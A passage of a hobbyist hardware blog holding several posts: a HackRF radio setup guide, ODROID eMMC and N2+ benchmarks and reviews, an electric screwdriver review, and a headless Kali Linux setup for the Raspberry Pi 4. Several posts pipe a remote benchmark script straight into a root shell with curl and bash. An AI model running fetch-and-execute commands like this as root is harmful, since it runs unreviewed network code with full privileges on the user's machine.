file. Next go to the “Uplink” tab on the Wio terminal (use the blue buttons on the top of the device, the rightmost button will go to Uplink). Change the selection to WiFi using the right button of the blue directional input button. Now restart the device by flicking the side button down once. Conclusion This is a very important tool for anyone wanting to work with IoT sensors as a service and the Grove sensor ecosystem. It comes with everything you need even including the LoRa module and a year of data credits! It’s meant to be able to prototype their industrial line of IoT sensors as well. I don’t know how anyone could expect to step in and work with an ecosystem that has over 300 sensors without having a prototyping kit like this for you to test and work with them on. I really like how inexpensive most of the Grove sensors are. The vast majority of them are under $10. The ones that are more expensive will always be due to the components that are on the sensor but the pricing is incredibly reasonable and competitive. They are cheap enough that I can basically just try buying a bunch of different sensor modules and see if they will work well enough for me to deploy in my home or projects. If you are looking for industrial grade sensors they have all of them including ones meant to be deployed outdoors with a permanent battery that lasts for many years / the lifetime of the sensor without any battery changes or external power. The kit is meant to prototype these as well. You are not walled off from industrial grade sensors and put into a lesser “consumer” category. In fact quite the contrary. The industrial-grade sensors are meant to be tested with this exact same kit. I’m really enjoying the Grove ecosystem so far and plan on doing a lot more content related to sensor technology. I’ve finally found an ecosystem that gives me access to enough different sensor technologies to fulfill my wildest sensor dreams and see which ones of these are realistic/useful for the use cases I have in mind. If you know of any really interesting/useful sensors in the Grove ecosystem you’re using let me know in the comment and I will check them out! Other Resources If you are more interested in using an open source system to manage your sensors check out my guide on ESPHome with Home Assistant here I’ve also covered using the Arduino IDE with the XAIO ESP32-C3 RISC-V and XAIO expansion shield here #### HackRF Software Defined Radio Guide for Linux The term “software defined radio” simply means that parts of a radio that were traditionally hardware are implemented in software. This means that functions that used to require knobs, dials or some kind of physical mechanism can now be controlled via software. Essentially this makes using computers/ software with radios much easier and more accessible (cheaper) than it had ever been traditionally. Now with that background I can explain what the HackRF device is. The HackRF is a software defined radio device that is designed to let you access *all* of the radio spectrum all the way from 1 MHz up to 6 GHz! Think of it like a FM radio where the frequency controls don’t stop at 88 MHz or 108 MHz and you could turn it way below or above that. That is exactly what a HackRF is! You are definitely not limited to listening to radio stations though. You can basically receive all types of signals with the HackRF (depending on your antenna) including video and data signals which can be processed by your computer. In this guide I’m going to cover how to get started with a device like this in Ubuntu Linux and give you an idea of what kind of things you can do with it! Table of Contents Toggle OverviewHardware UsedHackRF UtilitiesInstallationCheck status / versionUpdating FirmwareCubicSDRUsageSelecting a frequencyAdjusting bandwidthFine tuningBookmarkingConclusionOther Resources Overview My setup ended up being very compact and relatively inexpensive. This is all it looks like: Compact HackRF Setup w/ Antenna The antenna is there in the window (it has a blue ring on the top). This is plugged into my PC via a micro USB cable. Hardware Used HackRF One Software Defined Radio (SDR)* RaTLSnake M6 v3 – 3 Antenna Bundle* HackRF Utilities Installation First we need to install the basic hackrf utilities. Many of the larger flavors of Linux such as Ubuntu have the hackrf main package right in their repositories. If you have an apt-based Linux distro then you can typically install the base hackrf package like this: sudo apt install hackrf If this is the case then you are done with this part and can skip to the next section!If this isn’t the case then definitely check out the official HackRF installation documentation. This has instructions for many other flavors and platforms and yours is very likely there. Now that you have the hackrf package installed there are a few things we should check / do first. If your HackRF device isn’t plugged into your Linux machine go ahead and plug it in now. All of the utilities are prefixed with “hackrf_” and include the following: hackrf_clock – measures the current clock speeds of the device hackrf_debug – debug info hackrf_operacake – used for an antenna switching add-on for the HackRF hackrf_sweep – Performs sweep of the radio spectrum hackrf_cpldjtag – Configure on-board CPLD hackrf_info – Display information about connected HackRF devices hackrf_spiflash – SPI flash utility for firmware updates hackrf_transfer – Transfer files over radio Check status / version First let’s do a hackrf_info to make sure that everything is connected and being seen properly: james@jamesgigabyte-linux:~$ sudo hackrf_info hackrf_info version: unknown libhackrf version: unknown (0.6) Found HackRF Index: 0 Serial number: 000000000000000057b068dc24299a63 Board ID Number: 2 (HackRF One) Firmware Version: 2021.03.1 (API:1.04) Part ID Number: 0xa000cb3c 0x00554766 Here we can see my firmware version on my board which is 2021.03.1 (API:1.04). Updating Firmware Mine didn’t come with the latest firmware and I’d imagine yours won’t either. It’s very easy and quick to update. First download the latest release from the official HackRF GitHub releases page. Extract the archive and you will see a “firmware-bin” folder. If you have the HackRF One model like I do then you want the ‘hackrf_one_usb.bin’ file. It can be flashed to the device with the hackrf_spiflash command: hackrf_spiflash -w hackrf_one_usb.bin Once the firmware update successfully completes go ahead and unplug the HackRF device briefly and then plug it back in. CubicSDR We’ve now completely configured and updated the HackRF device and are ready to actually do something with it! There are *many* software packages available to control/utilize our device and you will use different ones for different purposes. This is a fantastic application to start exploring the spectrum. It should be available on most Linux distributions through your package manager like this: sudo apt install cubicsdr Usage Now launch the application and if your HackRF is plugged in it should be detected like this: CubicSDR – Devices Menu Select your HackRF device and before you press “Start” make sure you have your volume turned down. You are very likely about to hear a bunch of static until we tune into a station / configure the squelch and turning down the volume will prevent you from getting quite a startle. Now press “Start”. Cubic SDR – Main Screen Now at first glance this may seem very overwhelming. It’s actually remarkably simple to use. It just looks scary but there’s only a handful of things you can actually click and most of it is just visualization / noise. Selecting a frequency If this is the first time you’ve opened the program and you haven’t ever tuned it to anything you are probably just hearing noise although it may have landed on a FM station. Let’s start with the most basic thing. Tuning the radio to a frequency. If you look at the bottom half of the screen you see a mostly blue background with some pretty wild colors spread throughout. This is called the “waterfall”. What you are seeing is a section of the radio frequency and the brighter colors indicate activity. When we are looking for signals this is what we want to see and the darker blue spots indicate very low activity. Now hover your mouse over the waterfall area and move it toward an area where you see some activity. You will see that you are selecting a range with two white lines on the outside. You want the outside two lines to envelop the signal and be as centered as possible like in the above screenshot. Now simply left click your mouse. Your tuned frequency will change and you will immediately start hearing the signal. Adjusting bandwidth Remember the two white lines in the previous section that we tried to center our signal in? The bandwidth is simply how far apart those lines are. It’s how big our “slice” of the spectrum we are tuning to is. If it’s too narrow we won’t hear all of the signal and if it’s too wide we will hear interference (usually static) or potentially even other signals. A basic rule of thumb is you want this to tightly wrap your signal. The easiest way to adjust this is the buttons in the top left corner of the screen (FM, FMS, AM) will change your bandwidth setting to a reasonable default for your signal type. Try experimenting with the different types and you’ll get a sense of the effects this has on the signal. You’ll learn to be able to tell from sound alone if it’s too narrow or wide from the types of interference/artifacts you’re hearing given time! Fine tuning So far we’ve been using a sledgehammer to tune. This is actually the best way to start if you’re just exploring but now it’s time to “zero in” on the signal. For this you will want to use the fine frequency controls which are located in the top right quadrant of the screen below your general sound output: CubicSDR – Fine Controls The way these work is if you click on the bottom half of the number it will lower the number by one and if you click on the top half of the number it raises it by one. You have controls for both the frequency and the bandwidth that we covered here. This lets you zero in with precision on a signal until it sounds perfect. Bookmarking Once you’ve tuned the signal and are happy with it it’s time to bookmark it. The controls for bookmarking are all in the bottom left of the screen. Slightly above the “Bookmark” menu you will see a label that is blank. Type in a name now to the “Label” field for what you want to label this frequency and then press “Enter” to make it apply the label. Now to actually create a bookmark click the “Bookmark..” dropdown and select “(New Group..)” as you will have to create a group first. I created the groups “FM Stations” and “Police” when I was creating this guide but you can organize them however you’d like. Once you have a group now click the “Bookmark..” dropdown again and select your new group. This should now add the bookmark with the label you typed in the field. Now you can essentially “map” your airwaves by creating bookmarks for activity you find! The best way to switch bookmarks is to highlight the bookmark and click “Activate Bookmark” at the bottom of the screen. You can add several frequencies to listen to at once and that can become a giant mess so if you have multiple “Active” frequencies you can simply highlight them and click “Remove active”. Conclusion We’re only scratching the surface in this guide of what you can do with a software defined radio. There are many other applications we can use such as GNU Radio, gqrx , SDRSharp and others. The YouTube recordings for this article were done in SDRSharp for example. We can decode video, data and many other types of signals using these programs. I’ll definitely be covering more of these on the site which I’ll add to the “Other Resources” section. This was meant to help you get your HackRF installed and the firmware updated as well as start using the device to tune into frequencies. It has transmit capabilities but you’re really going to want to check your local laws/regulations first and make sure you know what you’re doing before you attempt to transmit. I’m not even comfortable setting up transmission yet on mine although I plan on learning enough to get there but if you are already experienced with radios and know your local laws/regulations then yes it absolutely can do it. I was able to find many interesting unencrypted signals from a wide variety of sources. I picked up signals from the airport such as their security and general airport channels, police and fire and lots of other types of signals that come through clear as day on the HackRF. This wasn’t with anything more than the RaTLSnake antenna in my window (behind the low-e window coating even which isn’t great for the signal). This was a relatively inexpensive build. It’s really interesting what kind of signals are out there and I myself still have a lot to learn. I just wanted to share how easy it was to get started and actually just start receiving and tuning in to whatever is out there. These radio waves are all around us no matter where you are (and essentially bombarding us but they’re harmless unless you’re being exposed to something usual you shouldn’t be) so you may as well listen to what they are saying with a device like this! Other Resources For the best upgrade you can do with your HackRF see my Upgrading HackRF One to PortaPack H2 guide! Definitely see my Use HackRF SDR to Lock / Unlock Car for an example of me using the HackRF’s transmitter! Speaking of knowing what is going on in the airwaves around you check out my Pwnagotchi WiFi Audit Tool guide! My guide on getting started with the Ubertooth One (by Great Scott Gadgets, the same people behind the HackRF) #### Hardkernel ODROID eMMC Guide / Performance Benchmarking ODROID eMMC Guide I’ve covered eMMC modules on the site before as being a fantastic performance option. Today I received some Hardkernel eMMC modules that I wanted to do some performance testing to see how they perform as well as a guide for how to get started with them. These are promised to be ready to go out of the box. I will test that claim and then we will do some performance benchmarking. No matter what happens we will also do a fresh reimage of the module to show the complete process of getting them set up. Let’s begin! Table of Contents Toggle Hardware UsedCompatibilityUsing Modules With Different BoardsOut of BoxModule InstallationPerformance TestingImagingConclusionOther Resources Hardware Used Hardkernel eMMC Module The Hardkernel eMMC modules are the officially recommended eMMC option for ODROID boards. They are available in a wide variety of sizes from 8 GB to 128 GB. Comes preinstalled with either Linux or Android but can be reimaged. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Anazon.nl*, Amazon.sg* MicroSD eMMC Reader This MicroSD to eMMC reader is meant to read Hardkernel eMMC modules and will let you read and write to the eMMC module using a PC or other device. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* USB to eMMC Reader/Writer This is another way to read and write to Hardkernel eMMC modules using a USB to eMMC Adapter. Plug the eMMC right into the socket and then connect the USB port to access the module. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Compatibility Before we start we need to talk about compatibility. You need to be careful here when shopping for these modules. First make sure you read the official compatibility chart from ODROID. I will cover the basics but things get weird and complicated especially with older modules so if in doubt make sure to read the official page. The most important factor for the official Hardkernel eMMC modules is the color of the PCB. Here’s a rough list of compatibility: The Orange eMMC modules work with ODROID-C0/C1/C1+/C2/C4/XU4/H2/N2/M1. The Black eMMC modules work with ODROID-C0/C1/C1+/C2/C4/H2/N2. The Red eMMC modules work with ODROID-C0/C1/C1+/C2/C4/XU4/H2/N2. Again, there are some weird exceptions to this so double check the compatibility link above. I ordered one of the “Orange” modules for the M1 so that is the one this article will be using going forward. Using Modules With Different Boards This is possible but the eMMC modules actually have a hidden bootloader partition that isn’t overwritten during normal imaging. To do this you need to prepare the XU4 recovery image on a SD card and connect it to the board. Full instructions are available here. Out of Box First I wanted to examine Hardkernel’s claim that these modules would be ready to go out of the box. This is true provided you bought the eMMC imaged for your board. If not you will want to reimage it. For this section we will see if my M1 boots with the eMMC completely unmodified Here is what the “Orange” eMMC module looks like: Hardkernel eMMC – Socket Notice that there is only one socket at the bottom of the eMMC module. The spot that would have a second socket has a red pad instead. Here’s what the top of my 16 GB module looks like: Hardkernel 16GB eMMC – Top The color of the label will depend on which model the eMMC was meant for. This black square label means Linux for the M1. The N2 eMMCs for Linux have a “red dot” and the XU4 has a “blue dot”. These can all be reflashed for other models but there are additional steps beyond just writing a different image to them (more on that later). Module Installation The module snaps right into the board like so: eMMC Position This location will vary by board but there is usually a white outline that shows where the eMMC is meant to fit. You can see the white outline above the bottom edge in the picture and that surrounds the entire module. Performance Testing To test the performance of the board I used as always my Pi Benchmarks storage benchmark. This can be ran on any board or device (at least that’s the goal) like so: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This yielded the following result: Category Test Result HDParm Disk Read 153.36 MB/s HDParm Cached Disk Read 141.84 MB/s DD Disk Write 43.0 MB/s FIO 4k random read 8752 IOPS (35008 KB/s) FIO 4k random write 4703 IOPS (18814 KB/s) IOZone 4k read 26072 KB/s IOZone 4k write 12228 KB/s IOZone 4k random read 25920 KB/s IOZone 4k random write 14465 KB/s Score: 4,127 The full eMMC benchmark is available on Pi Benchmarks here. That is a great benchmark! With a score of 4,127 that puts it slightly above the UUGear eMMC to SD adapter which as a comparison had a score of 3,899. That is about 5% faster. This is exactly where I would expect it to be. I mentioned in my eMMC to SD Card Adapters Explained article that by going through the SD card port you are adding an additional interface/layer/bus and the rule of thumb is that for every layer of complexity you add you are going to lose some speed. Since the ODROID boards have a dedicated eMMC socket we do not have to lose that speed by going through the SD card port. We can connect (more) directly with the board with less steps between the board and the eMMC and that performance gain shows in the benchmark exactly as it should here. It’s also not quite as fast as the Compute Module 4’s eMMC that is soldered directly to the motherboard. This is also to be expected because that further removes additional layers of complexity such as the PCB board that connects with the socket. That is similarly another 5% or so faster from previous testing. It’s probably worth the 5% to get the added functionality of actually being able to remove and swap the eMMC module without having to unsolder it from the board. You also get a nice performance boost over if you were to use a eMMC to SD adapter such as the UUGear. Imaging Fortunately when using one of the two adapters outlined in this guide imaging the eMMC modules is exactly the same as imaging a SD card. Here’s what it looks like using the adapter with the eMMC: Hardkernel eMMC Attached to Adapter Now simply insert the adapter’s SD card half into a computer with a SD card slot or using a SD to USB adapter. Once you’ve connected it to your machine you can use Etcher or your preferred disk imaging program to write the official image to your eMMC module. You will see the eMMC as a removable drive option that your downloaded image can be written to. It’s that easy! Conclusion Hardkernel did actually live up to their promise of having the eMMC work on my board out of the box with the correct image (Linux in my case). One nitpick I have is that SSH wasn’t enabled out of the box on my eMMC. I had to go back downstairs and use the keyboard/monitor and run the command: sudo systemctl enable --now ssh After that I was able to access it over SSH normally. This wasn’t really a serious problem though and the image fired right up without any trouble. Reimaging the eMMC with the official images couldn’t be easier as long as you have one of the two compatible adapters listed in this article. It will show up right as a removal drive that you can write your image to using your preferred imaging software. Ordering one or two modules at a time directly from Hardkernel is prohibitively expensive. The shipping to the United States is about $59. Their site is great if you are ordering multiple things at a time and they caution you all over the web site that you will save a *lot* of money if you group things together (including on bulk discounts and shipping). If you need more than a few of these it may be worth it to order directly. It does show up on Amazon sometimes and is also available from resellers like Ameridroid (not an affiliate but I bought one from there and it was fine and came quickly). Overall I definitely recommend these if you can get your hands on them without paying anything outrageous for shipping. The performance is fantastic and the integration works really well (provided you have compatible modules)! Other Resources An alternative available on all boards with a SD card slot is eMMC to SD Card Adapters I used the ODROID M1 for this article which I have reviewed and benchmarked here. I highly recommend my Ubuntu 22.04.1 Legendary ODROID M1 image for your M1 if you already have one! #### Hardkernel ODROID N2+ SBC Review Hardkernel ODROID N2+ SBC Review The ODROID N2+ is a single board computer available in 2GB and 4GB options. It has the Petitboot loader which easily supports booting from flash drives, SSDs, and other types of storage. It’s a very popular choice for emulation due to it’s powerful CPU and GPU. It also has overclocking capabilities! Today I’m going to review the ODROID N2+ and examine the available image choices, benchmark the performance of the board, take a look at the capabilities and give some general recommendations about who would best benefit from using a board like this. Let’s get started! Table of Contents Toggle Hardware UsedBoard SpecificationsBuild QualityImages AvailableOfficial ImagesUnofficial ImagesBenchmarking eMMC / SSDPros / ConsProsConsConclusionOther Resources Hardware Used ODROID N2+ The ODROID N2+ is a great board with a built-in Petitboot bootloader capable of booting from SSDs and other types of devices. The N2+ is an overclockable board which is one of the advantages it has over the M1. Available in 2GB and 4GB variants. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Board Specifications Amlogic S922X Processor Quad-core ARM Cortex-A73 CPU Stock frequency 2208 MHz Overclocks to 2400 MHz Dual-core Cortex-A53 Stock frequency 1908 MHz Overclocks to 2016 MHz DDR4 RAM Available in 2GB and 4GB Mali-G52 GPU 6x Execution Engines (800Mhz) Ports 1 x eMMC connector (8G, 16G, 32G, 64G and 128G are available) 1 x microSD slot (DS/HS modes up to UHS-I SDR104) 1 x GbE LAN ports (RJ45, supports 10/100/1000 Mbps) 1 x HDMI 2.0 (up to 4K@60Hz with HDR, CEC, EDID) 1 x Composite video (3.5mm jack) 4 x USB 3.0 Host ports (shares one single root hub) 1 x USB 2.0 OTG port for Host or Device mode. (No power input) 1 x Debug serial console (UART) 1 x Peripheral Expansion Header (40-pin, 2.54mm pitch) Build Quality The ODROID N2+ is quite rugged. Everything is securely attached to the board and the fact that the bottom is a giant heat sink makes it quite rugged. Here is the top view: Hardkernel ODROID N2+ Top View My board revision is 0.6 20210812. I have the eMMC mounted in the slot (recommended, it performs really well). I’ve covered Hardkernel eMMC modules extensively here in this guide. You can also see the CR2032 backup battery is mounted in it’s slot. This is nice for the real time clock (RTC) as even if the board loses power it will retain certain memory/settings that you would normally expect to be lost on a board like this. Here is the bottom view: Hardkernel ODROID N2+ Bottom View Not much to see here other than it’s a giant heat sink like I stated earlier. It has held up pretty well on my metal rack over the past few weeks. You can see a little bit of scratching along the top of the heat sink (my fault). The design keeps it quite cool! Images Available Official Images The Hardkernel list of official images for the ODROID N2/N2+ is here. These include: Ubuntu 22.04 LTS (Mate Desktop and Server) Android PIE Unofficial Images The Hardkernel list of unofficial images for the ODROID N2/N2+ is here. These include: Debian Stretch Manjaro ARM Arch Linux Armbian DietPi CoreELEC Volumio 2 Archdroid Fedora 35 Workstation Void Linux Galv0nized LineageOS 19.1 Bactocera.linux emuELEC NEMS Linux Slash TV Gaming and Media Center The selection of images for the ODROID N2+ is outstanding. It’s among the best of all the boards I’ve reviewed due to it’s popularity. It also helps that the images are compatible between the ODROID N2 (non plus) and the ODROID N2+. If it will work with one it will work with the other! Benchmarking eMMC / SSD You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results for the eMMC: Category Test Result HDParm Disk Read 143.14 MB/s HDParm Cached Disk Read 144.12 MB/s DD Disk Write 51.9 MB/s FIO 4k random read 9601 IOPS (38406 KB/s) FIO 4k random write 12945 IOPS (51782 KB/s) IOZone 4k read 30388 KB/s IOZone 4k write 33065 KB/s IOZone 4k random read 30306 KB/s IOZone 4k random write 30945 KB/s Score: 7,151 The full ODROID N2+ eMMC benchmark can be viewed here on Pi Benchmarks. The full ODROID N2+ SSD benchmark can be viewed here on Pi Benchmarks. With a score of 7,151 that is the fastest eMMC score I’ve ever received (or that I think I’ve ever seen). I strongly recommend going with either a SSD or eMMC with this board and not using a SD card. The performance is so much faster with either of those choices. This board is powerful enough that it will hold you back to be using a SD card for storage with such a powerful CPU/GPU. My score with a SSD was 7,476 so did gain a slight amount of performance with the SSD. I was hitting the USB 3.0 limits with a NVMe drive so I could have achieved this same score with a 2.5″ SATA SSD due to the USB 3.0 bottleneck. This definitely makes the eMMC module a better value proposition than on many other boards. Pros / Cons Pros Popular choice for emulation due to powerful CPU + GPU combination Overclockable Entire bottom surface area of the board is a large heat sink keeping everything cool passively Cons Price – definitely not the cheapest board Conclusion The ODROID N2+ is a great choice for people who need a powerful GPU / CPU combination on a single board computer. This makes it a very popular choice for game emulation. It’s also a very popular choice for people who want to use a desktop environment with a single board computer as it has a powerful enough CPU/GPU combo to give a comfortable experience. Petitboot makes it easy to boot from USB with a solid state drive (SSD) or a flash drive. The eMMC modules are a fantastic choice for performance even though they can be difficult to find. The Hardkernel eMMC module tested nearly as fast as a SSD on this board. Using a solid state drive is also a great choice (and much easier to get your hands on). See my SSD boot guide in the “Other Resources” section for instructions on how to do that. I typically don’t recommend using a NVMe drive with this model. Since you have to use USB 3.0 your performance is limited to what is achievable by something like a cheap 2.5″ SATA drive. This is absolutely still worth doing but don’t buy a super expensive NVMe drive to do it with. If you want to use NVMe you should use the ODROID M1. The only major downside of the board is that it’s expensive. This is due to it’s popularity and the fact that people know in the game emulation community that this is a good board. You can even push it further with the overclocking capabilities. Given that in current market conditions it’s still generally cheaper than most Pis I would say it’s definitely worth considering over the Pi and a very solid choice! Other Resources I’ve also written a SSD boot guide for the ODROID N2+ here My guide on the Hardkernel eMMC modules is available here If you would like to use a NVMe module (SSD) I recommend checking out the ODROID M1 which has a M.2 NVMe slot I’ve reviewed many other single board computers here #### Hardware Technician Tool Gems: Precision Electric Screwdriver wowStick Complete Kit This is the second in a series of articles about tools I’ve found during my IT hardware technician career that made my life much easier. These are all tools I have used for years that a lot of people have likely never seen or been exposed to before. Last time we covered a replacement for canned air / duster and this time we’re going to cover the wowStick fully electric precision screwdriver! If you’ve ever opened a laptop or cell phone you know there are dozens of screws you have to remove. One of the best purchases I’ve ever made was an electric screwdriver. Let’s take a look at why! Table of Contents Toggle Gadget OverviewWhy It’s UsefulWhat’s IncludedTips and TricksPros / ConsProsConsConclusion Gadget Overview wowStick 1F Electric Screwdriver The wowstick Lithium Precision Screwdriver wowstick 1F+. Includes built in automatically activating LED light, magnetic mat, a magnetizer/demagnetizer and 56 bits (64 bits for “Pro” upgrade, may vary slightly by seller/region but should be the same/more than shown) to fit most electronics Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Why It’s Useful Taking apart laptops and cell phones is extremely tedious. It takes a significant amount of time and if you have to do it very often at all this adds up to a very substantial amount of time quickly. It also makes your hands / wrists tired from turning the screws over and over again. If you already spend a tremendous amount of time on the computer like I do then your hands probably don’t need any more abuse than they’re already getting. Both the time wasted opening laptops/cellphones and abuse to your hand can be vastly reduced by supplementing your tools with a precision electric screwdriver. The “precision” part means it’s meant for more sensitive devices like electronics. There have been “electric screwdrivers” available for a long time that are not “precision” screwdrivers at all and are meant for more traditional building/construction tasks. These are much more gentle and precise. They don’t apply as much force as the “non-precision” ones but that is very much intentional so you don’t destroy your device. Make no mistake though, it’s still very powerful. You still need to be careful especially if you’re not used to it since you can still strip/break things if you’re not paying attention and using the wrong bits like one that is a size or two too small etc. It has a driving speed of up to 200RPM (non-loaded) and up to 0.15/3N.m maximum torque! It also has a built in bright LED light. The light automatically activates when the screwdriver is active and looks like this: wowStick with LED light activated The device also seems to have some smart logic that helps utilize this power and some safety features to try to keep it from destroying anything as well as some smart logic for untightening screws as well. For example, if you are untightening a stubborn screw a common trick is to very very slightly screw the screw in tighter and then unscrew it as this can loosen things up slightly even though it’s counterintuitive. The screwdriver seems to know to do this automatically if it’s trying to loosen something and can’t turn it. You will hear it change direction very slightly and reverse the torque and then seamlessly flip back to unscrewing it. This is a very nice touch and it’s impressive that it is smart enough to monitor whether it’s successfully turning things instead of just being a dumb on/off turn/don’t turn device. What’s Included You get a pretty generous set of bits included with the device. They come in tubes which makes it really easy to throw in a toolkit / toolbox. It’s not an all-encompassing bit set but it includes most of the ones commonly used for electronics (that typically wouldn’t be in the smaller more generic sets that you’d get at the hardware store). It’s definitely a set of bits targeted toward computers/electronics with the right bits to get in most devices included in the tubes so you shouldn’t need much more than what it comes with unless you work on very specific devices not included which should be easy enough to manage. Here’s a shot of the tubes up close to get an idea of the bits included: wowStick Included Tubes / Bits You can definitely see there’s a lot more bits in there than it looks like from the outside where it doesn’t look like anywhere 50+ bits. The tubes can get annoying and some people end up pulling them out of the tubes if the wowStick is going to be at a dedicated station and not move like a tech bench since it’s easier to access them. They are definitely very convenient for throwing in toolkits and drawers and that is where they shine. I’ve managed to not lose any bits to the device since I put them back in the tubes when I’m done. You also get a handy magnetizer / demagnetizer which lets you change whether a screw / bit is magnetized or not by touching one side of the device. Also includes a very nice high quality magnetic screwpad which you can see me using here: wowStick w/ included accessories The stand for it is very handy and I always have it on my desk in the stand. The charge on the battery lasts for weeks at a time typically (may vary with heavy usage but with normal usage I go weeks or longer between charges). Here’s a look at it in the stand: wowStick upright in stand Tips and Tricks If you are trying to unscrew a tough or stuck screw like on the outside of a desktop case for example you can actually “help” the electric screwdriver. Keep the wowStick button pressed up to unscrew and then physically turn it with your hand like you would a normal screwdriver without releasing the button. The screw will come loose and the wowStick will finish the rest of the job for you (as well as keep the screw attached if you magnetized the bit with the magnetizer). You can tell when the battery is starting to get low on the wowStick a few ways. It will start blinking a red light to warn you it’s out, but you can also tell from the pitch of the device. If it sounds like it’s getting “tired” and the pitch is lower it’s time for a charge!Bits from other kits/devices will usually fit in the wowStick — it’s not a proprietary connection which really helps extend it’s usefulness Pros / Cons Pros Much gentler than most tools of this classSaves your hands/wrists from wear and tearSaves time Cons Struggles with tight outer case screws on desktop or larger class computers — meant for more delicate work Conclusion This is a relatively inexpensive device. I have used it for several years for it’s designed purpose now and it has been fantastic. It is saving my hands as well as my time. You can make taking a laptop apart feel like you’re taking smoking wheels off a supercar in the pit of a NASCAR race with one of these. 15-20 screws on a laptop go very quick with a magnetized tip and letting the wowStick extract and stick the screw to the magnet then sticking the screw to the magnetic pad and going to the next one. Definitely an excellent tool to have around to save your time and hands/wrists! #### Headless Kali Linux Setup on Raspberry Pi 4 Kali Linux Table of Contents Toggle Kali Linux Raspberry Pi 4 SetupHardwareInstructionsDownload ImagePrepare HardwareConnect to Pi using SSHUpdate Kali(Optional) Fix Kali Repositories(Optional) Install Kali Linux FullBenchmarking / Testing Storage(Optional) USB Mass Storage Device Booting (with a SSD for example)Other Resources Kali Linux Raspberry Pi 4 Setup I have tested Kali Linux on the new Raspberry Pi 4 8 GB model and everything works really well. The bootloader for Kali works despite the changes made in the Pi 4’s boot process. Performance feels really great. The full 8 GB is addressable in Kali Linux and the storage upgrades in the Pi 4 make usage feel really smooth. Hardware Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* For SSD usage see my Best SSDs and Storage Adapters for use with the Raspberry Pi 4 guide Instructions Download Image Head to Kali’s official ARM images page at the official Kali Linux ARM Images Download Page. Make sure you download one that specifically states that it supports Raspberry Pi 4. At time of writing that is “Kali Linux Raspberry Pi 2, 3 and 4 32 bit”. I recommend using the official Raspberry Pi Imaging tool to write the image to your Pi’s SD card. It’s available for Windows, Mac and Linux! Once you’ve downloaded the image you can write it to the Pi’s SD card with this utility and it will take care of a lot of problems that can come up when you try to image it with dd or Etcher or other utilities. Prepare Hardware Write the image to a SD card as you normally would. When finished connect the Pi’s ethernet port and insert the SD card into the Raspberry Pi 4. Now power everything up. Connect to Pi using SSH Since this is a headless setup we will connect to the Pi using SSH to avoid having to connect a keyboard/monitor. Once your Pi boots up and gets an IP address open PuTTY or any other SSH program and SSH into your Pi’s IP address. The default credentials are login “root” and password “toor”. Update Kali The first thing we should do is update our Kali distribution. Type sudo apt update && sudo apt dist-upgrade -y Once everything has finished reboot your Raspberry Pi to fully apply all of the latest updates. (Optional) Fix Kali Repositories You may get an error when you update such as the following: kali@kali:~$ sudo apt update Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB] Get:3 http://http.re4son-kernel.com/re4son kali-pi InRelease [10.4 kB] Get:2 http://kali.download/kali kali-experimental InRelease [23.0 kB] Reading package lists... Done E: Release file for http://http.kali.org/kali/dists/kali-rolling/InRelease is not valid yet (invalid for another 115d 17h 30min 15s). Updates for this repository will not be applied. This is because the Raspberry Pi’s system time is incorrect. You can fix it with: sudo date --set "8/7/2021 10:20pm" substituting the current date and time. This will be close enough for your apt repositories to start working! (Optional) Install Kali Linux Full By default the image only comes with a subset of everything available in the Kali distribution. Installing all of these can take some bandwidth/time so make sure you have a decent size/quality SD card and a good internet connection before upgrading to the full version. If you want to install all tools and achieve a “Kali Linux Full” installation type now type: sudo apt-get install kali-linux-full Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! (Optional) USB Mass Storage Device Booting (with a SSD for example) Check out my Pi 4 USB booting guide and follow the same instructions Other Resources If you have the 7″ official Raspberry Pi Touch Screen TFT display then check out my 7″ TFT for Kali guide If you have a Raspberry Pi Zero you may want to check out my Kali P4wnP1 Linux guide here #### Home Assistant / ESPHome Air Quality Monitor (No Soldering) QT Py + Grove SEN54 – Deployment (Closeup) I’ve previously covered creating a Home Assistant air quality monitor system using a XAIO ESP32-C3 module and ESPHome / Home Assistant to create a 7-in-1 air quality monitor sensor. My previous article though did require a little bit of soldering to get it going. Today I’m going to show you my latest 